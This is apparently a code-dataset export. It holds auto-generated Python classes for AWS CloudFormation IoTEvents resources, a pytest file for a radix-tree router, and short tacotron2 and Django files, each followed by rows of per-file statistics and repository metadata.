validator=attr.validators.optional(attr.validators.instance_of(PropDetectorModelLambda)),
metadata={AttrMeta.PROPERTY_NAME: "Lambda"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-action.html#cfn-iotevents-detectormodel-action-lambda"""
p_ResetTimer: typing.Union['PropDetectorModelResetTimer', dict] = attr.ib(
default=None,
converter=PropDetectorModelResetTimer.from_dict,
validator=attr.validators.optional(attr.validators.instance_of(PropDetectorModelResetTimer)),
metadata={AttrMeta.PROPERTY_NAME: "ResetTimer"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-action.html#cfn-iotevents-detectormodel-action-resettimer"""
p_SetTimer: typing.Union['PropDetectorModelSetTimer', dict] = attr.ib(
default=None,
converter=PropDetectorModelSetTimer.from_dict,
validator=attr.validators.optional(attr.validators.instance_of(PropDetectorModelSetTimer)),
metadata={AttrMeta.PROPERTY_NAME: "SetTimer"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-action.html#cfn-iotevents-detectormodel-action-settimer"""
p_SetVariable: typing.Union['PropDetectorModelSetVariable', dict] = attr.ib(
default=None,
converter=PropDetectorModelSetVariable.from_dict,
validator=attr.validators.optional(attr.validators.instance_of(PropDetectorModelSetVariable)),
metadata={AttrMeta.PROPERTY_NAME: "SetVariable"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-action.html#cfn-iotevents-detectormodel-action-setvariable"""
p_Sns: typing.Union['PropDetectorModelSns', dict] = attr.ib(
default=None,
converter=PropDetectorModelSns.from_dict,
validator=attr.validators.optional(attr.validators.instance_of(PropDetectorModelSns)),
metadata={AttrMeta.PROPERTY_NAME: "Sns"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-action.html#cfn-iotevents-detectormodel-action-sns"""
p_Sqs: typing.Union['PropDetectorModelSqs', dict] = attr.ib(
default=None,
converter=PropDetectorModelSqs.from_dict,
validator=attr.validators.optional(attr.validators.instance_of(PropDetectorModelSqs)),
metadata={AttrMeta.PROPERTY_NAME: "Sqs"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-action.html#cfn-iotevents-detectormodel-action-sqs"""
@attr.s
class PropDetectorModelTransitionEvent(Property):
"""
AWS Object Type = "AWS::IoTEvents::DetectorModel.TransitionEvent"
Resource Document: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-transitionevent.html
Property Document:
- ``rp_Condition``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-transitionevent.html#cfn-iotevents-detectormodel-transitionevent-condition
- ``rp_EventName``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-transitionevent.html#cfn-iotevents-detectormodel-transitionevent-eventname
- ``rp_NextState``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-transitionevent.html#cfn-iotevents-detectormodel-transitionevent-nextstate
- ``p_Actions``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-transitionevent.html#cfn-iotevents-detectormodel-transitionevent-actions
"""
AWS_OBJECT_TYPE = "AWS::IoTEvents::DetectorModel.TransitionEvent"
rp_Condition: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.instance_of(TypeCheck.intrinsic_str_type),
metadata={AttrMeta.PROPERTY_NAME: "Condition"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-transitionevent.html#cfn-iotevents-detectormodel-transitionevent-condition"""
rp_EventName: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.instance_of(TypeCheck.intrinsic_str_type),
metadata={AttrMeta.PROPERTY_NAME: "EventName"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-transitionevent.html#cfn-iotevents-detectormodel-transitionevent-eventname"""
rp_NextState: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.instance_of(TypeCheck.intrinsic_str_type),
metadata={AttrMeta.PROPERTY_NAME: "NextState"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-transitionevent.html#cfn-iotevents-detectormodel-transitionevent-nextstate"""
p_Actions: typing.List[typing.Union['PropDetectorModelAction', dict]] = attr.ib(
default=None,
converter=PropDetectorModelAction.from_list,
validator=attr.validators.optional(attr.validators.deep_iterable(member_validator=attr.validators.instance_of(PropDetectorModelAction), iterable_validator=attr.validators.instance_of(list))),
metadata={AttrMeta.PROPERTY_NAME: "Actions"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-transitionevent.html#cfn-iotevents-detectormodel-transitionevent-actions"""
@attr.s
class PropDetectorModelEvent(Property):
"""
AWS Object Type = "AWS::IoTEvents::DetectorModel.Event"
Resource Document: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-event.html
Property Document:
- ``rp_EventName``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-event.html#cfn-iotevents-detectormodel-event-eventname
- ``p_Actions``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-event.html#cfn-iotevents-detectormodel-event-actions
- ``p_Condition``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-event.html#cfn-iotevents-detectormodel-event-condition
"""
AWS_OBJECT_TYPE = "AWS::IoTEvents::DetectorModel.Event"
rp_EventName: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.instance_of(TypeCheck.intrinsic_str_type),
metadata={AttrMeta.PROPERTY_NAME: "EventName"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-event.html#cfn-iotevents-detectormodel-event-eventname"""
p_Actions: typing.List[typing.Union['PropDetectorModelAction', dict]] = attr.ib(
default=None,
converter=PropDetectorModelAction.from_list,
validator=attr.validators.optional(attr.validators.deep_iterable(member_validator=attr.validators.instance_of(PropDetectorModelAction), iterable_validator=attr.validators.instance_of(list))),
metadata={AttrMeta.PROPERTY_NAME: "Actions"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-event.html#cfn-iotevents-detectormodel-event-actions"""
p_Condition: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.optional(attr.validators.instance_of(TypeCheck.intrinsic_str_type)),
metadata={AttrMeta.PROPERTY_NAME: "Condition"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-event.html#cfn-iotevents-detectormodel-event-condition"""
@attr.s
class PropDetectorModelOnExit(Property):
"""
AWS Object Type = "AWS::IoTEvents::DetectorModel.OnExit"
Resource Document: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-onexit.html
Property Document:
- ``p_Events``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-onexit.html#cfn-iotevents-detectormodel-onexit-events
"""
AWS_OBJECT_TYPE = "AWS::IoTEvents::DetectorModel.OnExit"
p_Events: typing.List[typing.Union['PropDetectorModelEvent', dict]] = attr.ib(
default=None,
converter=PropDetectorModelEvent.from_list,
validator=attr.validators.optional(attr.validators.deep_iterable(member_validator=attr.validators.instance_of(PropDetectorModelEvent), iterable_validator=attr.validators.instance_of(list))),
metadata={AttrMeta.PROPERTY_NAME: "Events"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-onexit.html#cfn-iotevents-detectormodel-onexit-events"""
@attr.s
class PropDetectorModelOnInput(Property):
"""
AWS Object Type = "AWS::IoTEvents::DetectorModel.OnInput"
Resource Document: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-oninput.html
Property Document:
- ``p_Events``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-oninput.html#cfn-iotevents-detectormodel-oninput-events
- ``p_TransitionEvents``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-oninput.html#cfn-iotevents-detectormodel-oninput-transitionevents
"""
AWS_OBJECT_TYPE = "AWS::IoTEvents::DetectorModel.OnInput"
p_Events: typing.List[typing.Union['PropDetectorModelEvent', dict]] = attr.ib(
default=None,
converter=PropDetectorModelEvent.from_list,
validator=attr.validators.optional(attr.validators.deep_iterable(member_validator=attr.validators.instance_of(PropDetectorModelEvent), iterable_validator=attr.validators.instance_of(list))),
metadata={AttrMeta.PROPERTY_NAME: "Events"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-oninput.html#cfn-iotevents-detectormodel-oninput-events"""
p_TransitionEvents: typing.List[typing.Union['PropDetectorModelTransitionEvent', dict]] = attr.ib(
default=None,
converter=PropDetectorModelTransitionEvent.from_list,
validator=attr.validators.optional(attr.validators.deep_iterable(member_validator=attr.validators.instance_of(PropDetectorModelTransitionEvent), iterable_validator=attr.validators.instance_of(list))),
metadata={AttrMeta.PROPERTY_NAME: "TransitionEvents"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-oninput.html#cfn-iotevents-detectormodel-oninput-transitionevents"""
@attr.s
class PropDetectorModelOnEnter(Property):
"""
AWS Object Type = "AWS::IoTEvents::DetectorModel.OnEnter"
Resource Document: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-onenter.html
Property Document:
- ``p_Events``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-onenter.html#cfn-iotevents-detectormodel-onenter-events
"""
AWS_OBJECT_TYPE = "AWS::IoTEvents::DetectorModel.OnEnter"
p_Events: typing.List[typing.Union['PropDetectorModelEvent', dict]] = attr.ib(
default=None,
converter=PropDetectorModelEvent.from_list,
validator=attr.validators.optional(attr.validators.deep_iterable(member_validator=attr.validators.instance_of(PropDetectorModelEvent), iterable_validator=attr.validators.instance_of(list))),
metadata={AttrMeta.PROPERTY_NAME: "Events"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-onenter.html#cfn-iotevents-detectormodel-onenter-events"""
@attr.s
class PropDetectorModelState(Property):
"""
AWS Object Type = "AWS::IoTEvents::DetectorModel.State"
Resource Document: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-state.html
Property Document:
- ``rp_StateName``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-state.html#cfn-iotevents-detectormodel-state-statename
- ``p_OnEnter``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-state.html#cfn-iotevents-detectormodel-state-onenter
- ``p_OnExit``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-state.html#cfn-iotevents-detectormodel-state-onexit
- ``p_OnInput``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-state.html#cfn-iotevents-detectormodel-state-oninput
"""
AWS_OBJECT_TYPE = "AWS::IoTEvents::DetectorModel.State"
rp_StateName: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.instance_of(TypeCheck.intrinsic_str_type),
metadata={AttrMeta.PROPERTY_NAME: "StateName"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-state.html#cfn-iotevents-detectormodel-state-statename"""
p_OnEnter: typing.Union['PropDetectorModelOnEnter', dict] = attr.ib(
default=None,
converter=PropDetectorModelOnEnter.from_dict,
validator=attr.validators.optional(attr.validators.instance_of(PropDetectorModelOnEnter)),
metadata={AttrMeta.PROPERTY_NAME: "OnEnter"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-state.html#cfn-iotevents-detectormodel-state-onenter"""
p_OnExit: typing.Union['PropDetectorModelOnExit', dict] = attr.ib(
default=None,
converter=PropDetectorModelOnExit.from_dict,
validator=attr.validators.optional(attr.validators.instance_of(PropDetectorModelOnExit)),
metadata={AttrMeta.PROPERTY_NAME: "OnExit"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-state.html#cfn-iotevents-detectormodel-state-onexit"""
p_OnInput: typing.Union['PropDetectorModelOnInput', dict] = attr.ib(
default=None,
converter=PropDetectorModelOnInput.from_dict,
validator=attr.validators.optional(attr.validators.instance_of(PropDetectorModelOnInput)),
metadata={AttrMeta.PROPERTY_NAME: "OnInput"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-state.html#cfn-iotevents-detectormodel-state-oninput"""
@attr.s
class PropDetectorModelDetectorModelDefinition(Property):
"""
AWS Object Type = "AWS::IoTEvents::DetectorModel.DetectorModelDefinition"
Resource Document: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-detectormodeldefinition.html
Property Document:
- ``rp_InitialStateName``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-detectormodeldefinition.html#cfn-iotevents-detectormodel-detectormodeldefinition-initialstatename
- ``rp_States``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-detectormodeldefinition.html#cfn-iotevents-detectormodel-detectormodeldefinition-states
"""
AWS_OBJECT_TYPE = "AWS::IoTEvents::DetectorModel.DetectorModelDefinition"
rp_InitialStateName: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.instance_of(TypeCheck.intrinsic_str_type),
metadata={AttrMeta.PROPERTY_NAME: "InitialStateName"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-detectormodeldefinition.html#cfn-iotevents-detectormodel-detectormodeldefinition-initialstatename"""
rp_States: typing.List[typing.Union['PropDetectorModelState', dict]] = attr.ib(
default=None,
converter=PropDetectorModelState.from_list,
validator=attr.validators.deep_iterable(member_validator=attr.validators.instance_of(PropDetectorModelState), iterable_validator=attr.validators.instance_of(list)),
metadata={AttrMeta.PROPERTY_NAME: "States"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-detectormodeldefinition.html#cfn-iotevents-detectormodel-detectormodeldefinition-states"""
#--- Resource declaration ---
@attr.s
class Input(Resource):
"""
AWS Object Type = "AWS::IoTEvents::Input"
Resource Document: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-iotevents-input.html
Property Document:
- ``rp_InputDefinition``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-iotevents-input.html#cfn-iotevents-input-inputdefinition
- ``p_InputDescription``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-iotevents-input.html#cfn-iotevents-input-inputdescription
- ``p_InputName``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-iotevents-input.html#cfn-iotevents-input-inputname
- ``p_Tags``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-iotevents-input.html#cfn-iotevents-input-tags
"""
AWS_OBJECT_TYPE = "AWS::IoTEvents::Input"
rp_InputDefinition: typing.Union['PropInputInputDefinition', dict] = attr.ib(
default=None,
converter=PropInputInputDefinition.from_dict,
validator=attr.validators.instance_of(PropInputInputDefinition),
metadata={AttrMeta.PROPERTY_NAME: "InputDefinition"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-iotevents-input.html#cfn-iotevents-input-inputdefinition"""
p_InputDescription: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.optional(attr.validators.instance_of(TypeCheck.intrinsic_str_type)),
metadata={AttrMeta.PROPERTY_NAME: "InputDescription"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-iotevents-input.html#cfn-iotevents-input-inputdescription"""
p_InputName: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.optional(attr.validators.instance_of(TypeCheck.intrinsic_str_type)),
metadata={AttrMeta.PROPERTY_NAME: "InputName"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-iotevents-input.html#cfn-iotevents-input-inputname"""
p_Tags: typing.List[typing.Union[Tag, dict]] = attr.ib(
default=None,
converter=Tag.from_list,
validator=attr.validators.optional(attr.validators.deep_iterable(member_validator=attr.validators.instance_of(Tag), iterable_validator=attr.validators.instance_of(list))),
metadata={AttrMeta.PROPERTY_NAME: "Tags"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-iotevents-input.html#cfn-iotevents-input-tags"""
@attr.s
class DetectorModel(Resource):
"""
AWS Object Type = "AWS::IoTEvents::DetectorModel"
Resource Document: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-iotevents-detectormodel.html
Property Document:
- ``rp_DetectorModelDefinition``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-iotevents-detectormodel.html#cfn-iotevents-detectormodel-detectormodeldefinition
- ``rp_RoleArn``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-iotevents-detectormodel.html#cfn-iotevents-detectormodel-rolearn
- ``p_DetectorModelDescription``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-iotevents-detectormodel.html#cfn-iotevents-detectormodel-detectormodeldescription
- ``p_DetectorModelName``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-iotevents-detectormodel.html#cfn-iotevents-detectormodel-detectormodelname
- ``p_EvaluationMethod``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-iotevents-detectormodel.html#cfn-iotevents-detectormodel-evaluationmethod
- ``p_Key``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-iotevents-detectormodel.html#cfn-iotevents-detectormodel-key
- ``p_Tags``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-iotevents-detectormodel.html#cfn-iotevents-detectormodel-tags
"""
AWS_OBJECT_TYPE = "AWS::IoTEvents::DetectorModel"
rp_DetectorModelDefinition: typing.Union['PropDetectorModelDetectorModelDefinition', dict] = attr.ib(
default=None,
converter=PropDetectorModelDetectorModelDefinition.from_dict,
validator=attr.validators.instance_of(PropDetectorModelDetectorModelDefinition),
metadata={AttrMeta.PROPERTY_NAME: "DetectorModelDefinition"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-iotevents-detectormodel.html#cfn-iotevents-detectormodel-detectormodeldefinition"""
rp_RoleArn: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.instance_of(TypeCheck.intrinsic_str_type),
metadata={AttrMeta.PROPERTY_NAME: "RoleArn"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-iotevents-detectormodel.html#cfn-iotevents-detectormodel-rolearn"""
p_DetectorModelDescription: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.optional(attr.validators.instance_of(TypeCheck.intrinsic_str_type)),
metadata={AttrMeta.PROPERTY_NAME: "DetectorModelDescription"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-iotevents-detectormodel.html#cfn-iotevents-detectormodel-detectormodeldescription"""
p_DetectorModelName: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.optional(attr.validators.instance_of(TypeCheck.intrinsic_str_type)),
metadata={AttrMeta.PROPERTY_NAME: "DetectorModelName"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-iotevents-detectormodel.html#cfn-iotevents-detectormodel-detectormodelname"""
p_EvaluationMethod: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.optional(attr.validators.instance_of(TypeCheck.intrinsic_str_type)),
metadata={AttrMeta.PROPERTY_NAME: "EvaluationMethod"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-iotevents-detectormodel.html#cfn-iotevents-detectormodel-evaluationmethod"""
p_Key: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.optional(attr.validators.instance_of(TypeCheck.intrinsic_str_type)),
metadata={AttrMeta.PROPERTY_NAME: "Key"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-iotevents-detectormodel.html#cfn-iotevents-detectormodel-key"""
p_Tags: typing.List[typing.Union[Tag, dict]] = attr.ib(
default=None,
converter=Tag.from_list,
validator=attr.validators.optional(attr.validators.deep_iterable(member_validator=attr.validators.instance_of(Tag), iterable_validator=attr.validators.instance_of(list))),
metadata={AttrMeta.PROPERTY_NAME: "Tags"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-iotevents-detectormodel.html#cfn-iotevents-detectormodel-tags"""
| 64.21659
| 229
| 0.771381
| 7,337
| 69,675
| 7.235655
| 0.02317
| 0.174879
| 0.044134
| 0.068208
| 0.894251
| 0.894251
| 0.877826
| 0.822182
| 0.822182
| 0.822182
| 0
| 0.000495
| 0.100797
| 69,675
| 1,084
| 230
| 64.27583
| 0.846852
| 0.331956
| 0
| 0.425676
| 0
| 0
| 0.100569
| 0.0699
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.006757
| 0
| 0.260135
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
a1c1b46b7017a721c8151906ce95fe0217f1703c
| 2,716
|
py
|
Python
|
tests/radix_tree/test_tree.py
|
erewok/tokamak
|
a23208c27854f6ea2701968b11342d734596f419
|
[
"BSD-3-Clause"
] | 3
|
2021-11-05T15:27:52.000Z
|
2022-01-11T09:08:31.000Z
|
tests/radix_tree/test_tree.py
|
erewok/tokamak
|
a23208c27854f6ea2701968b11342d734596f419
|
[
"BSD-3-Clause"
] | null | null | null |
tests/radix_tree/test_tree.py
|
erewok/tokamak
|
a23208c27854f6ea2701968b11342d734596f419
|
[
"BSD-3-Clause"
] | null | null | null |
from typing import Optional
import pytest
from tokamak.radix_tree import tree
@pytest.mark.parametrize("default_handler", (None, "A"))
@pytest.mark.parametrize(
"tsm", (tree.TrailingSlashMatch.RELAXED, tree.TrailingSlashMatch.STRICT)
)
def test_tree_ctor(
default_handler: Optional[str], tsm: tree.TrailingSlashMatch
) -> None:
new_tree = tree.Tree(default_handler=default_handler, trailing_slash_match=tsm)
if default_handler:
assert new_tree._root.leaf is not None
assert new_tree._root.leaf.handler == default_handler
else:
assert new_tree._root.leaf is None
@pytest.mark.parametrize("default_handler", (None, "A"))
@pytest.mark.parametrize(
"tsm", (tree.TrailingSlashMatch.RELAXED, tree.TrailingSlashMatch.STRICT)
)
def test_insert(default_handler: Optional[str], tsm: tree.TrailingSlashMatch) -> None:
new_tree = tree.Tree(default_handler=default_handler, trailing_slash_match=tsm)
with pytest.raises(ValueError):
new_tree.insert("bla", "A")
new_tree.insert("/bla/", "A")
if tsm is tree.TrailingSlashMatch.RELAXED:
assert next(iter(new_tree._root.children)).path == "/bla"
else:
assert next(iter(new_tree._root.children)).path == "/bla/"
@pytest.mark.parametrize("default_handler", (None, "A"))
@pytest.mark.parametrize(
"tsm", (tree.TrailingSlashMatch.RELAXED, tree.TrailingSlashMatch.STRICT)
)
def test_get_handler(
default_handler: Optional[str], tsm: tree.TrailingSlashMatch
) -> None:
new_tree = tree.Tree(default_handler=default_handler, trailing_slash_match=tsm)
new_tree.insert("/bla/{ingredient}", "B")
new_tree.insert("/claw/", "B")
result, ctx = new_tree.get_handler("/")
assert ctx == {}
if default_handler:
assert result == "A"
else:
assert result is None
result, ctx = new_tree.get_handler("/bla")
assert ctx == {}
if default_handler:
assert result == "A"
else:
assert result is None
result, ctx = new_tree.get_handler("/bla/sugar")
assert ctx == {"ingredient": "sugar"}
assert result == "B"
result, ctx = new_tree.get_handler("/bla/sugar/")
assert ctx == {"ingredient": "sugar"}
if tsm is tree.TrailingSlashMatch.RELAXED:
assert result == "B"
elif default_handler:
assert result == "A"
else:
assert result is None
result, ctx = new_tree.get_handler("/claw")
assert ctx == {}
if tsm is tree.TrailingSlashMatch.RELAXED:
assert result == "B"
elif default_handler:
assert result == "A"
else:
assert result is None
result, ctx = new_tree.get_handler("/claw/")
assert ctx == {}
assert result == "B"
| 30.516854
| 86
| 0.673785
| 338
| 2,716
| 5.239645
| 0.147929
| 0.142292
| 0.071146
| 0.054207
| 0.863919
| 0.832863
| 0.806889
| 0.770751
| 0.770751
| 0.725579
| 0
| 0
| 0.195508
| 2,716
| 88
| 87
| 30.863636
| 0.810526
| 0
| 0
| 0.657534
| 0
| 0
| 0.064801
| 0
| 0
| 0
| 0
| 0
| 0.315068
| 1
| 0.041096
| false
| 0
| 0.041096
| 0
| 0.082192
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
a1d80d294d1728ea21757073da0348317380d547
| 177
|
py
|
Python
|
tacotron2/evaluators/__init__.py
|
DashaSerdyuk/tacotron2
|
1a88669670750f8b0e1aff76abc8b1b15300e1dc
|
[
"BSD-3-Clause"
] | null | null | null |
tacotron2/evaluators/__init__.py
|
DashaSerdyuk/tacotron2
|
1a88669670750f8b0e1aff76abc8b1b15300e1dc
|
[
"BSD-3-Clause"
] | null | null | null |
tacotron2/evaluators/__init__.py
|
DashaSerdyuk/tacotron2
|
1a88669670750f8b0e1aff76abc8b1b15300e1dc
|
[
"BSD-3-Clause"
] | null | null | null |
from tacotron2.evaluators._evaluator import BaseEvaluator, EmbeddingEvaluator
from tacotron2.evaluators.utils import plot_syntesis_result, jupyter_play_syntesed, get_evaluator
| 44.25
| 97
| 0.892655
| 20
| 177
| 7.6
| 0.75
| 0.171053
| 0.302632
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.012121
| 0.067797
| 177
| 3
| 98
| 59
| 0.909091
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
a1f98c1f3c84e63346443ad162a9f86869b98412
| 229
|
py
|
Python
|
ltrc/inicio/views.py
|
iscenigmax/ltrc-registry
|
86c4e52e0d76e686c39a357957af35846a8fc391
|
[
"Unlicense"
] | null | null | null |
ltrc/inicio/views.py
|
iscenigmax/ltrc-registry
|
86c4e52e0d76e686c39a357957af35846a8fc391
|
[
"Unlicense"
] | null | null | null |
ltrc/inicio/views.py
|
iscenigmax/ltrc-registry
|
86c4e52e0d76e686c39a357957af35846a8fc391
|
[
"Unlicense"
] | null | null | null |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.shortcuts import render
def inicio(request, id=None):
# return render(request, 'w2r.html', {'id':id})
return render(request, 'inicio.html', {})
| 28.625
| 51
| 0.689956
| 30
| 229
| 5.1
| 0.633333
| 0.156863
| 0.248366
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.010256
| 0.148472
| 229
| 8
| 52
| 28.625
| 0.774359
| 0.292576
| 0
| 0
| 0
| 0
| 0.06875
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0.5
| 0.25
| 1
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 0
|
0
| 6
|
629fd9e0669d0cd10837567f7d9dda0372b37093
| 15
|
py
